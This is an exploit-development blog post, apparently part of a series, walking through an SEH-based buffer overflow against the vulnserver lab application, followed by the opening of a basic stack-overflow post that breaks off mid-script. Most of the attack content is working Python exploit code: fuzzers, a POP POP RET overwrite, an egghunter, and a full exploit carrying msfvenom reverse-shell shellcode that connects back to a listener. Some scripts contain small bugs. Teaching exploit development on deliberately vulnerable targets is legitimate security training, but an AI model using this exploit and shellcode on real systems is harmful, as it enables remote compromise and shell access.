Buffer overflow exploitation (SEH based Overflows)

Introduction

In the previous post, I wrote about finding and exploiting simple stack buffer overflow (or direct EIP overwrite) on a vulnerable application.
This post about finding and exploiting SEH based overflows on the same application. Before diving into a practical example lets go through some SEH theories.

Structured Exception Handling (SEH)

Structured Exception Handling (SEH) is a Windows feature that handles application errors (exceptions). Those who are coming from a programming background are already very familiar with this feature. SEH is Microsoft specific exception handling, and it is made available primarily through compiler support.

Most programming and scripting languages have similar constructs for handling exceptions like the below example.

__try 
{
   // guarded code
}
__except ( expression )
{
   // exception handler code
}

EXCEPTION_POINTERS structure

typedef struct _EXCEPTION_POINTERS {
  PEXCEPTION_RECORD ExceptionRecord;
  PCONTEXT          ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

The _EXCEPTION_REGISTRATION structure has two components:

  • A pointer to an exception handler function
  • A pointer to the previous _EXCEPTION_REGISTRATION record

The SEH chain:

  • The address of the first record is always stored at the address pointed to by the FS register (FS:[O])
  • The chain ends when the OS encounters OxFFFFFFFF, windows place a generic exception handler at the end.

Abusing the SEH

Stack-based buffer overflows work by overwriting the return address in the stack, SEH overwrites work by overwriting the Handler attribute of an exception registration record that has been stored on the stack.
Now that you have an idea of how Windows SEH works, let’s find and exploit an SEH overflow vulnerability.

Fuzzing

To begin the exploit development process, I ‘ll use a simple script to send some junk to the application. This time we are fuzzing the GMON function of this application, which is vulnerable to SEH overflow. Below is a basic Python script that will be leveraged to build the exploit

#!/usr/bin/python

import socket

host="192.16.196.128"
port=9999
buffer = "A" * 5000

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
	print ("Sending buffer...")
	print s.recv(1024)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)
     

Run the fuzzing script against our target, and monitor from immunity debugger.

click image to enlarge

Our buffer crash the application, this time it did not overwrite the instruction pointer but raised an exception.

Use Shift+F9 to pass the exception and eventually, it will overwrite the instruction pointer with 4141414

If you look at down to stack we see it overwrite the SE handler and pointer to next SEH record with our buffer. We can verify this by going to Immunity debugger -> view -> SEH chain.

So what happened here was program tried to execute 0x41414141 which is the equivalent of AAAA. Since the SEH value was 0x41414141, upon passing the exception to the program, the execution was moved to 0x41414141 and it crashed as the program does not know what to do because at that address there is no valid function

Great we have successfully overwritten SEH, now let’s find the offset, the exact amount of characters we need to reach exception handler record to overwrite it precisely. let’s modify our buffer and send the unique pattern created with the Metasploit create_pattern tool. This time instead of “A’s” we are sending a unique buffer.

#!/usr/bin/python

import socket

host="192.168.196.128"
port=9999

buffer = "GMON /.:/" + "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9"
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host, port))
	s.send(buffer)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)

As expected our SEH handler is now overwritten with 0x326e4531 rather than 41414141. Using !mona findmsp command we can find the offset.

After 3515 bytes we overwrite nSEH and SEH overwrite after 3511 bytes (3515-4). let’s confirm this, if everything goes as our plan we will see next SEH handler overwritten with 42424242 (4 * B) and 43434343 will be SEH.

Let’s modify the script with our buffer and send

#!/usr/bin/python

import socket

host="192.168.196.128"
port=9999

nSEH = "BBBB"
SEH = "CCCC"
buffer = "A"*3515
buffer += nSEH
buffer += SEH
buffer += "D"*(5000-len(buffer))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
	print ("Sending buffer...")
	print s.recv(1024)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)

Now we are able to overwrite the nSEH value and the SEH value, so we control Instruction Pointer via the SEH value. Now we should be able to execute malicious code from our nSEH value.
But unfortunately, we can’t use a simple JMP ESP like we used in basic StackOverflow exploit. In order to create SEH exploits, we need to find the POP POP RET sequence. If you want to find more about POP POP RET please read this great article by Dimimitrios here

Finding POP POP RET Gadget

We now need to find POP POP RET gadgets to redirect program execution from the SEH to the nSEH. We can use !mona seh command to do this. Looking at the loaded modules, we can only find the essfunc.dll and vulnserver.exe without bad chars and rebase flag. We are only interested in application-specific DLL here.

!mona seh -m essfunc.dll -cpb '\x00'

After choosing one of the available addresses (\xB4\x10\x50\x62), update the exploit. Remember that due to endianness, we have to write addresses in reverse order. Let’s run the exploit again and observe from the debugger.

#!/usr/bin/python

import socket

host = "192.168.196.128"
port = 9999

nSEH = "BBBB"
SEH = "\xB4\x10\x50\x62"    #625010B4 POP-POP-RET from essfunc.dll
buffer = "A"*3515
buffer += nSEH
buffer += SEH
buffer += "C"*(5000-len(buffer))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
        print ("Sending buffer...")
	print s.recv(1024)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)

Modify the exploit and re-send it.

As expected SEH was overwritten with the address of the POP POP RET instructions from essfunc.dll. Set a breakpoint on 017AFFC4 (essfunc.dll) using F2.

The program throws an exception, now use Shift+F9 to pass the exception to the program, which will continue to the SEH address, and hit our breakpoint and pause program execution. Now use F7 to step through the “POP POP RETN” commands and hit our four B’s, and then our C’s buffer.

Right-click the address and follow the dump

Jumping to Shellcode

We are inside the 4 B’s ( INC EDX x4) from nSEH variable. This 4 “B” is 4 bytes apart from the current SEH value.
It is not possible to place a shellcode inside 4 bytes, we can work with this 4 bytes to jump into “C” buffer but still not large enough to hold a shellcode. We can use C buffer to jump back to the stack where we have more room for shellcode.
This is where things start getting really interesting. I tried to do a backward jump and land in our A’s buffer but I could not figure it out. This one is more challenging than I expected because of the limited space for shellcode.

So I decide to use another technique called “Egghunter” which is a fairly straight forward technique to use when you don’t have enough space for shellcode.

Egg Hunter

Egg hunter is a small piece of shellcode that searches for an actual bigger shellcode in which the attacker was not able to fit in the available buffer space and redirect execution flow to it. As the egg hunter code executes, it hunts for the EGG in all the memory locations and executes shellcode which is next to EGGS in our case. If you are interested in how egghunters works check this paper by Skape.

Before using the egghunter, first, we need to calculate the offset before the egghunter code.
offset 3151 bytes
Backward JMP 2 bytes
Backward JMP 50 bytes
3151+2-50 = 3467

Egghunter shellcodes can be found on the internet, depend on the OS version you are trying to exploit. For this I will be using !mona plugin for immunity debugger.Let’s generate an egghunter with !mona using the following command

 !mona egg -t EGGS

The -t option specifies the marker tag which will be later referenced by the egghunter shellcode to find the second stage payload.

#!/usr/bin/python
import socket

host = "192.168.196.128"
port = 9999

nSEH = "\xeb\xCE\x90\x90"  #jump back 50 byte backward
SEH = "\xB4\x10\x50\x62"    #625010B4 POP-POP-RET from essfunc.dll

egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x45\x47\x47\x53\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

buffer = "A"* 3467
buffer += egghunter
buffer += "A"*(3515-len(buffer))
buffer += nSEH
buffer += SEH
buffer += "C"*(5000-len(buffer))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
	print("Sending buffer...")
	print s.recv(1024)
	s.close())
except socket.error, e:
    print("Could not connect : %s" % e)

Running the above script, the program will stop and raise an exception. Pass program exception and press F7 to go through and everything worked perfectly, the current instruction pointed to the start of the egg hunter. We can see our string “EGGS” from the hex dump.

Great, now we just need to generate shellcode and insert it to our exploit code. Just like last time we are going to use a reverse shell. Start Netcat listener on port 443 and fire up the exploit, you should receive a connection from the victim machine.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.196.128 LPORT=443 -f python -b '\x00':

Full Exploit code.

#!/usr/bin/python

import socket

host = "192.168.196.128"
port = 9999

nSeh = "\xeb\xCE\x90\x90"  #jump back 50 byte backward
Seh = "\xB4\x10\x50\x62"     #625010B4 POP-POP-RET from essfunc.dll

# EGGS
# Size: 32 bytes
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x45\x47\x47\x48\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

shellcode = ("\xda\xd4\xd9\x74\x24\xf4\x58\xbb\xf0\xe6\xb6\x1b\x29\xc9\xb1"
"\x52\x31\x58\x17\x03\x58\x17\x83\x30\xe2\x54\xee\x4c\x03\x1a"
"\x11\xac\xd4\x7b\x9b\x49\xe5\xbb\xff\x1a\x56\x0c\x8b\x4e\x5b"
"\xe7\xd9\x7a\xe8\x85\xf5\x8d\x59\x23\x20\xa0\x5a\x18\x10\xa3"
"\xd8\x63\x45\x03\xe0\xab\x98\x42\x25\xd1\x51\x16\xfe\x9d\xc4"
"\x86\x8b\xe8\xd4\x2d\xc7\xfd\x5c\xd2\x90\xfc\x4d\x45\xaa\xa6"
"\x4d\x64\x7f\xd3\xc7\x7e\x9c\xde\x9e\xf5\x56\x94\x20\xdf\xa6"
"\x55\x8e\x1e\x07\xa4\xce\x67\xa0\x57\xa5\x91\xd2\xea\xbe\x66"
"\xa8\x30\x4a\x7c\x0a\xb2\xec\x58\xaa\x17\x6a\x2b\xa0\xdc\xf8"
"\x73\xa5\xe3\x2d\x08\xd1\x68\xd0\xde\x53\x2a\xf7\xfa\x38\xe8"
"\x96\x5b\xe5\x5f\xa6\xbb\x46\x3f\x02\xb0\x6b\x54\x3f\x9b\xe3"
"\x99\x72\x23\xf4\xb5\x05\x50\xc6\x1a\xbe\xfe\x6a\xd2\x18\xf9"
"\x8d\xc9\xdd\x95\x73\xf2\x1d\xbc\xb7\xa6\x4d\xd6\x1e\xc7\x05"
"\x26\x9e\x12\x89\x76\x30\xcd\x6a\x26\xf0\xbd\x02\x2c\xff\xe2"
"\x33\x4f\xd5\x8a\xde\xaa\xbe\x74\xb6\xb5\xef\x1d\xc5\xb5\x0e"
"\x65\x40\x53\x7a\x89\x05\xcc\x13\x30\x0c\x86\x82\xbd\x9a\xe3"
"\x85\x36\x29\x14\x4b\xbf\x44\x06\x3c\x4f\x13\x74\xeb\x50\x89"
"\x10\x77\xc2\x56\xe0\xfe\xff\xc0\xb7\x57\x31\x19\x5d\x4a\x68"
"\xb3\x43\x97\xec\xfc\xc7\x4c\xcd\x03\xc6\x01\x69\x20\xd8\xdf"
"\x72\x6c\x8c\x8f\x24\x3a\x7a\x76\x9f\x8c\xd4\x20\x4c\x47\xb0"
"\xb5\xbe\x58\xc6\xb9\xea\x2e\x26\x0b\x43\x77\x59\xa4\x03\x7f"
"\x22\xd8\xb3\x80\xf9\x58\xc3\xca\xa3\xc9\x4c\x93\x36\x48\x11"
"\x24\xed\x8f\x2c\xa7\x07\x70\xcb\xb7\x62\x75\x97\x7f\x9f\x07"
"\x88\x15\x9f\xb4\xa9\x3f")


buffer = "EGGSEGGS"
buffer += shellcode
buffer = "A"* (3467-len(buffer))
buffer += egghunter
buffer += "A"*(3515-len(buffer))
buffer += nSeh
buffer += Seh
buffer += "C"*(5000-len(buffer))

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((host,port))
	print s.recv(1024)
	s.send("GMON /.:/" + buffer)
	print s.recv(1024)
	s.close()
except socket.error, e:
    print("Could not connect : %s" % e)

Conclusion

This was a challenging one, I had lot of trouble finding correct offsets, getting reverse shell working and putting everything together. I hope that this was informative, and you learned something along the way. Happy hacking until next time.

Reference:
https://thestarman.pcministry.com/asm/2bytejumps.htm
http://www.hick.org/code/skape/papers/win32-shellcode.pdf
https://web.archive.org/web/20061010194043/http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
https://docs.microsoft.com/en-us/cpp/cpp/structured-exception-handling-c-cpp?view=vs-2019
https://docs.microsoft.com/en-us/windows/win32/debug/structured-exception-handling

All code for this post available from my GitHub repo https://github.com/d3b4g/WindowsExploit-dev


Buffer overflow exploitation (Basic Stack overflow)

Introduction
Welcome to part 1 of my windows exploit development series. In this post, I will go through the process of finding and exploiting a basic stack overflow in an x86 windows environment. Throughout these tutorials, you will also learn other styles of Windows exploitation.
Since there are lot of good resources out there, I skipped the theories and heading straight to practical.

I will be using vulnserver a vulnerable application specially designed for exploit development and research. You can download vulnserver from here

https://github.com/stephenbradshaw/vulnserver

My goal for this series of posts is to introduce you to the basics of finding and writing buffer-overflow exploits in the Windows environment.

Tools Needed
– Immunity Debugger
– Immunity Mona Module
– Text editor

Target
Our target application is running on Windows 7 Pro SP2. Let’s scan the target IP address and find the vulnerable service.

First, let’s attach the vulnerable server application running on our target to the immunity debugger.

Go to File > Attach and Click the service name to attach.

Fuzzing
The next step is fuzzing the vulnerable server and monitor for a crash in the Immunity debugger. To automate the fuzzing process I wrote a simple fuzzing script in python.
We can use a fuzzing framework like Sulley, SPIKE or Boofuzz for automating the fuzzing process, but for this tutorials, I will stick with a simple script.

from time import sleep
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(1)
print s.recv(1024)
junk = 'A' * 3000
s.send(('TRUN .' + junk + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()

The above code simply makes a connection to the server running on port 9999 and send a bunch of junk. This simple script triggers a vulnerability in the TRUN command of the vulnerable server running on our target.

Run the fuzzing script and monitor it from the debugger for crashes.

Great as you can see we have successfully overwritten EIP with 41414141 since A’s hex representation in ASCII is 0x41.
EIP is the register that holds the value of the address of the next instruction. The next step is finding the offset, the exact bytes of data it took to overwrite the return pointer.
There are many ways to find the offset, we will be using pattern_offset and pattern_create of the Metasploit framework.

Finding the offset
Let’s modify our fuzzing script to send a unique pattern created using MSF pattern_create tool and re-run the script. Please note that, before you run fuzzing script, every time you need to restart your debugger and vulnerable application, simply go to Debug from the menu and restart or Ctrl+F2

#!/usr/bin/python
import time
import socket
ip = '192.168.196.147'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, port))
print "Connecting to Server..."
time.sleep(1)
print s.recv(1024)
